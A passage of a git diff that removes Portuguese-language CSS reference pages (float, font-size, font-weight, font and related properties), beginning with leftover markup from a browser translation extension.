value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/css/float/index.html b/files/pt-pt/web/css/float/index.html
deleted file mode 100644
index 62f8ddf017..0000000000
--- a/files/pt-pt/web/css/float/index.html
+++ /dev/null
@@ -1,111 +0,0 @@
----
-title: float
-slug: Web/CSS/float
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/float
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>A propriedade <code>float</code> especifica se um elemento deve flutuar pelo lado direito, pelo esquerdo ou não flutuar, onde os elementos <code>inline</code> envolverão ao redor dele.</p>
-
-<ul>
- <li>Valor inicial: none;</li>
- <li>Aplica-se a: todos elementos;</li>
- <li>Herdado: não;</li>
- <li>Valor computado: como especificado.</li>
-</ul>
-
-<p>Um <strong>elemento flutuante</strong> é um elemento onde o valor computado é diferente de <code>none</code>.</p>
-
-<p>Note que se você estiver referenciando a esta propriedade do JavaScript como um membro do objeto <a href="pt/DOM/element.style">element.style</a>, você precisa escrever isto em <strong>cssFloat</strong> (veja a lista do <a href="pt/DOM/CSS">DOM:CSS</a>). Note também que para o IE você precisa escrever <strong>styleFloat</strong>.</p>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<p>float: left | right | none | <a href="pt/CSS/inherit">inherit</a></p>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<ul>
- <li><strong>left</strong> : O elemento flutua pelo lado esquerdo de um bloco;</li>
- <li><strong>right</strong> : O elemento flutua pelo lado direito de um bloco;</li>
- <li><strong>none</strong> : O elemento não flutua.</li>
-</ul>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/float.html">View Live Examples</a></p>
-
-<pre>&lt;html&gt;
- &lt;head&gt;
- &lt;style type="text/css"&gt;
- b
- {
- font-size: 25px;
- float:right;
- }
- &lt;/style&gt;
- &lt;/head&gt;
- &lt;body&gt;
-
- &lt;p&gt;
- &lt;b&gt;HELLO!&lt;/b&gt;
- Isto é algum texto. Isto é algum texto. Isto é algum texto.
- Isto é algum texto. Isto é algum texto. Isto é algum texto.
- Isto é algum texto. Isto é algum texto. Isto é algum texto.
- Isto é algum texto. Isto é algum texto. Isto é algum texto.
- Isto é algum texto. Isto é algum texto. Isto é algum texto.
- Isto é algum texto. Isto é algum texto. Isto é algum texto.
- Isto é algum texto. Isto é algum texto. Isto é algum texto.
- Isto é algum texto. Isto é algum texto. Isto é algum texto.
- &lt;/p&gt;
-
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>TODO: deve explicar como os flutuantes se posicionam. Mencionar o <a href="pt/CSS/block_formatting_context">contexto de formatação de bloco</a>.</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#float">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-float">CSS 2.1</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("clear") }}, {{ Cssxref("display") }}, {{ Cssxref("position") }}, {{ Cssxref("float") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/float", "fr": "fr/CSS/float" } ) }}</p>
diff --git a/files/pt-pt/web/css/font-size-adjust/index.html b/files/pt-pt/web/css/font-size-adjust/index.html
deleted file mode 100644
index bc7b060a83..0000000000
--- a/files/pt-pt/web/css/font-size-adjust/index.html
+++ /dev/null
@@ -1,75 +0,0 @@
----
-title: font-size-adjust
-slug: Web/CSS/font-size-adjust
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/font-size-adjust
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>A propriedade {{ Cssxref("font-size-adjust") }} especifica que o tamanho da fonte deve ser escolhido baseado na altura das letras minúsculas antes da altura das letras maísculas.</p>
-
-<p>Isto é útil desde a legibilidade das fontes, especialmente em tamanhos pequenos, é mais determinado pelo tamanho das letras minúsculas do que pelo tamanho das letras maíusculas. Isto pode causar problemas quando a primeira escolha {{ Cssxref("font-family") }} não está disponível e sua substituição tem uma relação de aspecto significativamente diferente (a relação do tamanho das fontes minúsculas para o tamanho da fonte).</p>
-
-<p>Para fazer isto de forma que seja compatível com os navegadores que não suportam {{ Cssxref("font-size-adjust") }}, é especificado um número que a propriedade {{ Cssxref("font-size") }} é multiplicada por. Isto significa que o valor especificado para a propriedade deve geralmente ser a relação de aspecto da primeira escolha de fonte. Por exemplo, uma folha de estilo que especifica <code><a href="pt/CSS/font-size">font-size</a>: 16px; <a href="pt/CSS/font-size-adjust">font-size-adjust</a>: 0.5</code> está realmente especificando que as letras minúsculas da fonte deverão ter <code>8px</code> de altura (16px vezes 0.5).</p>
-
-<ul>
- <li><a href="pt/CSS/initial_value">Valor inicial</a>: <code>none</code></li>
- <li>Aplica-se a: todos os elementos</li>
- <li><a href="pt/CSS/inheritance">Herdado</a>: sim</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">visual</a></li>
- <li><a href="pt/CSS/computed_value">Valor computado</a>: como especificado</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<p><code>font-size-adjust:</code> &lt;number&gt; | <code>none</code> | {{ Cssxref("inherit") }}</p>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt><code>none</code> </dt>
- <dd>Escolha o tamanho da fonte baseado somente na propriedade {{ Cssxref("font-size") }}.</dd>
- <dt><code>&lt;number&gt;</code> </dt>
- <dd>
- <p>Escolha o tamanho da fonte de modo que suas letras minúsculas (como determinado pela métrica x-height da fonte) sejam o número especificado de vezes pelo {{ Cssxref("font-size") }}.</p>
-
- <p>O número especificado deve geralmente ser a relação de aspecto (relação de x-height para o tamanho da fonte) da primeira escolha de {{ Cssxref("font-family") }}. Isto significará que a primeira escolha de fonte, quando disponível, aparecerá no mesmo tamanho nos navegadores, se não suportarem o {{ Cssxref("font-size-adjust") }}.</p>
- </dd>
-</dl>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/font-size-adjust.html">View Live Examples</a></p>
-
-<pre>p{
- font: 12px Verdana, sans-serif;
- font-size-adjust: 0.58;
-}
-
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html#propdef-font-size-adjust">CSS 2</a></li>
- <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-size-adjust">css3-fonts</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<p>Suportado em todas as plataformas começando em Gecko 1.9 / Firefox 3, mas suportado no Windows somente signitivamente mais cedo.</p>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("font-size") }}, {{ Cssxref("font-size-adjust") }}, {{ Cssxref("font-family") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/font-size-adjust", "fr": "fr/CSS/font-size-adjust" } ) }}</p>
diff --git a/files/pt-pt/web/css/font-size/index.html b/files/pt-pt/web/css/font-size/index.html
deleted file mode 100644
index e3d0ca9fa8..0000000000
--- a/files/pt-pt/web/css/font-size/index.html
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: font-size
-slug: Web/CSS/font-size
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/font-size
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>The font-size property specifies the size of the font. The font size may, in turn, change the size of other things, since it is used to compute the value of <code>em</code> and <code>ex</code> length units.</p>
-
-<ul>
- <li>Valor inicial: <code>medium</code></li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: sim</li>
- <li>Percentagens: relativas ao elemento font-size pai</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">Visual</a></li>
- <li>Valor computado: comprimento absoluto</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<p><code>font-size:</code> <code>xx-small</code> | <code>x-small</code> | <code>small</code> | <code>medium</code> | <code>large</code> | <code>x-large</code> | <code>xx-large</code></p>
-
-<p><code>font-size:</code> <code>smaller</code> | <code>larger</code></p>
-
-<p><code>font-size:</code> &lt;length&gt; | &lt;percentage&gt; | {{ Cssxref("inherit") }}</p>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>xx-small, x-small, small, medium, large, x-large, xx-large </dt>
- <dd>A set of absolute size keywords based on the user's default font size (which is <code>medium</code>). Similar to presentational HTML's <code>&lt;font size="1"&gt;</code> through <code>&lt;font size="7"&gt;</code> where the user's default font size is <code>&lt;font size="3"&gt;</code>.</dd>
- <dt>larger, smaller </dt>
- <dd>Larger or smaller than the parent element's font size, by roughly the ratio used to separate the absolute size keywords above.</dd>
- <dt><a href="pt/CSS/length">&lt;length&gt;</a> </dt>
- <dd>A positive <a href="pt/CSS/length">length</a>.</dd>
- <dt>&lt;percentage&gt; </dt>
- <dd>A positive percentage of the parent element's font size.</dd>
-</dl>
-
-<p>It is best to avoid using values that are not relative to the user's default font size, such as &lt;lengths&gt; with units other than <code>em</code> or <code>ex</code>. However, if such values must be used, <code>px</code> are preferred over other units because their meaning does not vary depending on what the operating system thinks (generally incorrectly) the resolution of the monitor is.</p>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/font-size.html">View Live Examples</a></p>
-
-<pre>/* Set paragraph text to be very large. */
-p { font-size: xx-large }
-
-/* Set h1 (level 1 heading) text to be 2.5 times the size
- * of the text around it. */
-h1 { font-size: 250% }
-
-/* Sets text enclosed within span tag to be 16px */
-span { font-size: 16px; }
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p><code>em</code> and <code>ex</code> units on the {{ Cssxref("font-size") }} property are relative to the parent element's font size (unlike all other properties, where they're relative to the font size on the element). This means <code>em</code> units and percentages do the same thing for {{ Cssxref("font-size") }}.</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#font-size">CSS 1 </a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#propdef-font-size">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-size">css3-fonts</a></li>
-</ul>
-
-<p><span class="comment">== Compatibilidade com navegadores ==</span></p>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("font") }} {{ Cssxref("font-family") }}, {{ Cssxref("font-size") }}, {{ Cssxref("font-size-adjust") }}, {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("line-height") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/font-size", "fr": "fr/CSS/font-size" } ) }}</p>
diff --git a/files/pt-pt/web/css/font-smooth/index.html b/files/pt-pt/web/css/font-smooth/index.html
deleted file mode 100644
index 2cab7696d8..0000000000
--- a/files/pt-pt/web/css/font-smooth/index.html
+++ /dev/null
@@ -1,85 +0,0 @@
----
-title: font-smooth
-slug: Web/CSS/font-smooth
-translation_of: Web/CSS/font-smooth
----
-<div>{{ CSSRef }} {{ Non-standard_header }}</div>
-
-<p>A propriedade <a href="/en/CSS" title="CSS">CSS</a> <strong><code>font-smooth</code></strong>  controla a aplicação anti-aliasing quando as fontes são renderizadas.</p>
-
-<table class="properties">
- <tbody>
- <tr>
- <td><strong>{{ Xref_cssinitial() }}</strong></td>
- <td><code>auto</code></td>
- </tr>
- <tr>
- <td><strong>Applies to</strong></td>
- <td>todos os elementos e conteúdos gerados</td>
- </tr>
- <tr>
- <td><strong>{{ Xref_cssinherited() }}</strong></td>
- <td>sim</td>
- </tr>
- <tr>
- <td><strong>Percentages</strong></td>
- <td>relativo ao tamanho da fonte do elemento pai</td>
- </tr>
- <tr>
- <td><strong>Media</strong></td>
- <td>{{ Xref_cssvisual() }}</td>
- </tr>
- <tr>
- <td><strong>{{ Xref_csscomputed() }}</strong></td>
- <td>como especificado</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="brush:css">/* Keyword values */
-font-smooth: auto;
-font-smooth: never;
-font-smooth: always;
-
-/* &lt;length&gt; value */
-font-smooth: 2em;
-</pre>
-
-<div class="note">
-<p><strong>WebKit</strong> implementa uma propriedade similar, mas com valores diferentes: <strong><code>-webkit-font-smoothing</code></strong>. Isto só funciona no Mac OS X/macOS.</p>
-
-<ul>
- <li><code>auto</code> - Deixa o navegador decidir (Usa o subpixel anti-aliasing quando disponível; este é o padrão)</li>
- <li><code>none</code> - Desativa a suavização da fonte; exibe o texto com bordas afiadas e irregulares.</li>
- <li><code>antialiased</code> - Suaviza a fonte no nível do pixel, ao contrário do subpixel. Muda a renderização de subpixel para o antialiasing para texto claro em fundos escuros e faz com que pareça mais suave.</li>
- <li><code>subpixel-antialiased</code> - Na maioria de displays não retina, isso irá deixar o texto mais nítido.</li>
-</ul>
-</div>
-
-<div class="note">
-<p><strong>Firefox</strong> implementa uma propriedade similar, mas com valores diferentes: <strong><code>-moz-osx-font-smoothing</code></strong>. Isto só funciona no Mac OS X/macOS.</p>
-
-<ul>
- <li><code>auto</code> - Permite que o navegador selecione uma otimização para suavização de fonte, normalmente <code>grayscale</code>.</li>
- <li><code>grayscale</code> - Renderiza o texto com grayscale antialiasing, ao contrário do subpixel. Muda a renderização do subpixel para antialiasing para que texto o claro em fundos escuros pareça mais claro.</li>
-</ul>
-</div>
-
-<h2 id="Especificações">Especificações</h2>
-
-<p>Embora presente no início (2002) rascunhos de <a href="http://www.w3.org/TR/WD-font/#font-smooth">CSS3 Fonts</a>, <code>font-smooth</code> foi removido e esta especificação não está na faixa de padrões.</p>
-
-<h2 id="Compatibilidade_dos_Navegadores">Compatibilidade dos Navegadores</h2>
-
-<div class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você quiser contribuir com os dados, confira <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um pull request.</div>
-
-<p>{{Compat("css.properties.font-smooth")}}</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li><a href="http://usabilitypost.com/2012/11/05/stop-fixing-font-smoothing/">Please Stop "Fixing" Font Smoothing – UsabilityPost</a></li>
- <li><a href="https://www.zachleat.com/web/font-smooth/">Laissez-faire font smoothing and anti-aliasing</a></li>
-</ul>
diff --git a/files/pt-pt/web/css/font-style/index.html b/files/pt-pt/web/css/font-style/index.html
deleted file mode 100644
index 55bd8de94f..0000000000
--- a/files/pt-pt/web/css/font-style/index.html
+++ /dev/null
@@ -1,40 +0,0 @@
----
-title: font-style
-slug: Web/CSS/font-style
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/font-style
----
-<p>{{ CSSRef() }}</p>
-
-<h2 id="Sum.C3.A1rio" name="Sum.C3.A1rio">Sumário</h2>
-
-<p>A propriedade <strong>font-style</strong> especifica normal (também conhecido como<em>upright</em> ou<em>roman</em>), itálico, e oblíquo faces dentro do<em>font-family</em>.</p>
-
-<p>{{cssinfo}}</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<p><code>font-style:</code> <code>normal</code> | <code>italic</code> | <code>oblique</code></p>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>normal, oblique, italic </dt>
- <dd>Especifica que o<em>user-agent</em> deve escolher a tipografia 'normal', 'oblique' ou 'italic' dentro do {{ Cssxref("font-family") }}.</dd>
-</dl>
-
-<h2 id="Exemplos" name="Exemplos">Exemplos</h2>
-
-<pre>h1 { font-style: italic }
-p { font-style: oblique }
-
-</pre>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#font-style">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#propdef-font-style">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-style">css3-fonts</a></li>
-</ul>
diff --git a/files/pt-pt/web/css/font-weight/index.html b/files/pt-pt/web/css/font-weight/index.html
deleted file mode 100644
index 8879e55501..0000000000
--- a/files/pt-pt/web/css/font-weight/index.html
+++ /dev/null
@@ -1,119 +0,0 @@
----
-title: font-weight
-slug: Web/CSS/font-weight
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/font-weight
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>A propeidade {{ Cssxref("font-weight") }} especifica o peso ou o traço da fonte:</p>
-
-<ul>
- <li>Valor inicial: normal</li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: sim</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">Visual</a></li>
- <li>Valor computado: Um dos valores numéricos (100, etc.), ou um dos valores numéricos mais um dos valores relativos (mais realçado ou menos realçado)</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<p><code>font-weight:</code> <code>normal</code> | <code>bold</code> | <code>bolder</code> | <code>lighter</code> | <code>100</code> | <code>200</code> | <code>300</code> | <code>400</code> | <code>500</code> | <code>600</code> | <code>700</code> | <code>800</code> | <code>900</code> | {{ Cssxref("inherit") }}</p>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>normal </dt>
- <dd>O peso normal da fonte. Semelhante ao 400.</dd>
- <dt>bold </dt>
- <dd>O peso negrito da fonte. Semelhante ao 700.</dd>
- <dt>lighter </dt>
- <dd><span id="result_box" lang="pt"><span>Um peso de fonte mais leve que o elemento pai (entre os pesos disponíveis da fonte).</span></span></dd>
- <dt>bolder </dt>
- <dd><span id="result_box" lang="pt"><span>Um peso de fonte duas vezes grosso que o elemento pai (entre os pesos disponíveis da fonte).</span></span></dd>
- <dt>100, 200, 300, 400, 500, 600, 700, 800, 900 </dt>
- <dd><span id="result_box" lang="pt"><span class="alt-edited">Os pesos numéricos de fontes para fontes que fornecem mais do que apenas normal e negrito. Se o peso exato fornecido não estiver disponível, então 600-900 utiliza o mais próximo e disponível peso mais duas vezes grosso (ou, se não houver, o peso mais leve disponível e mais próximo) e 100-500 utiliza o peso mais leve disponível e mais próximo (ou, se não houver, o peso mais escuro disponível e mais próximo). Significa que para fontes que fornecem apenas normal e negrito, 100-500 são normais e 600-900 são negritos.</span></span></dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="HTML">HTML</h3>
-
-<pre class="brush: html">&lt;p&gt;
-<span id="result_box" lang="pt"><span class="alt-edited">Alice começava a ficar muito cansada de sentar-se junto à irmã no banco e
-de não ter nada para fazer: uma ou duas vezes ela espiou o livro que a irmã
-estava a ler, mas não tinha fotos nem conversas nele, «e qual é a utilização
-de um livro», pensou Alice, «sem fotos ou conversas?»</span></span>
-&lt;/p&gt;
-
-&lt;div&gt;Sou quatro vezes grosso&lt;br/&gt;
- &lt;span&gt;Sou mais leve&lt;/span&gt;
-&lt;/div&gt;
-</pre>
-
-<h3 id="CSS">CSS</h3>
-
-<pre class="brush:css">/* <span class="short_text" id="result_box" lang="pt"><span>Definir o texto do parágrafo como negrito</span></span>. */
-p {
- font-weight: bold;
-}
-
-/* <span id="result_box" lang="pt"><span>Defina o texto div para dois passos mais grossos do
-que o normal, mas menos que um negrito padrão.</span></span> */
-div {
- font-weight: 600;
-}
-
-/* <span id="result_box" lang="pt"><span>Define o texto dentro da tag span para
-ser um passo mais leve que o pai.</span></span> */
-span {
- font-weight: lighter;
-}</pre>
-
-<h3 id="Resultado">Resultado</h3>
-
-<p>{{EmbedLiveSample("Exemplos","400","300")}}</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#font-weight">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#propdef-font-weight">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-weight">css3-fonts</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>3</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("font") }} {{ Cssxref("font-family") }}, {{ Cssxref("font-size") }}, {{ Cssxref("font-size-adjust") }}, {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("line-height") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/font-weight", "fr": "fr/CSS/font-weight" } ) }}</p>
diff --git a/files/pt-pt/web/css/font/index.html b/files/pt-pt/web/css/font/index.html
deleted file mode 100644
index e212941e9f..0000000000
--- a/files/pt-pt/web/css/font/index.html
+++ /dev/null
@@ -1,140 +0,0 @@
----
-title: font
-slug: Web/CSS/font
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/font
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>The font property is a shorthand property for setting {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }}, {{ Cssxref("line-height") }} and {{ Cssxref("font-family") }} at the same place in the style sheet.</p>
-
-<ul>
- <li>Valor inicial: refere-se a propriedades individuais</li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: sim</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">Visual</a></li>
-</ul>
-
-<p> </p>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<p><code>font:</code> [ &lt;<a href="pt/CSS/font-style">font-style</a>&gt; || &lt;<a href="pt/CSS/font-variant">font-variant</a>&gt; || &lt;<a href="pt/CSS/font-weight">font-weight</a>&gt; ]? &lt;<a href="pt/CSS/font-size">font-size</a>&gt; [ / &lt;<a href="pt/CSS/line-height">line-height</a>&gt; ]? &lt;<a href="pt/CSS/font-family">font-family</a>&gt;</p>
-
-<p><code>font:</code> <code>caption</code> | <code>icon</code> | <code>menu</code> | <code>message-box</code> | <code>small-caption</code> | <code>status-bar</code> | <code>-moz-window</code> | <code>-moz-document</code> | <code>-moz-workspace</code> | <code>-moz-desktop</code> | <code>-moz-info</code> | <code>-moz-dialog</code> | <code>-moz-button</code> | <code>-moz-pull-down-menu</code> | <code>-moz-list</code> | <code>-moz-field</code></p>
-
-<p><code>font:</code> {{ Cssxref("inherit") }}</p>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<p>Using the {{ Cssxref("font") }} shorthand property sets the longhand properties as specified, and sets all other font-related properties to their initial values.</p>
-
-<p>See {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }}, and {{ Cssxref("font-family") }} for legal values of each property.</p>
-
-<p>System fonts can also be specified using the {{ Cssxref("font") }} property,<em>instead of</em> specifying individual longhand properties:</p>
-
-<dl>
- <dt>caption </dt>
- <dd>The font used for captioned controls (e.g., buttons, drop-downs, etc.).</dd>
- <dt>icon </dt>
- <dd>The font used to label icons.</dd>
- <dt>menu </dt>
- <dd>The font used in menus (e.g., dropdown menus and menu lists).</dd>
- <dt>message-box </dt>
- <dd>The font used in dialog boxes.</dd>
- <dt>small-caption </dt>
- <dd>The font used for labeling small controls.</dd>
- <dt>status-bar </dt>
- <dd>The font used in window status bars.</dd>
- <dt>-moz-window </dt>
- <dd> </dd>
- <dt>-moz-document </dt>
- <dd> </dd>
- <dt>-moz-workspace </dt>
- <dd> </dd>
- <dt>-moz-desktop </dt>
- <dd> </dd>
- <dt>-moz-info </dt>
- <dd> </dd>
- <dt>-moz-dialog </dt>
- <dd> </dd>
- <dt>-moz-button </dt>
- <dd> </dd>
- <dt>-moz-pull-down-menu </dt>
- <dd> </dd>
- <dt>-moz-list </dt>
- <dd> </dd>
- <dt>-moz-field </dt>
- <dd> </dd>
-</dl>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/font.html">View Live Examples</a></p>
-
-<pre>/* Set the font size to 12pt and the line height to 14pt. Set the font family to sans-serif */
-p { font: 12pt/14pt sans-serif }
-</pre>
-
-<pre>/* Set the font size to 80% of the parent tag or default value (if no parent tag present)
-and set the font family to sans-serif */
-p { font: 80% sans-serif }
-</pre>
-
-<pre>/* Set the font weight to bold, the font-style to italic, the font size to large,
-and the font family to serif. */
-p { font: bold italic large serif }
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>The {{ Cssxref("font-size") }} and {{ Cssxref("font-family") }} parts of the shorthand are mandatory. Omitting them is a syntax error, and causes the entire declaration to be ignored.</p>
-
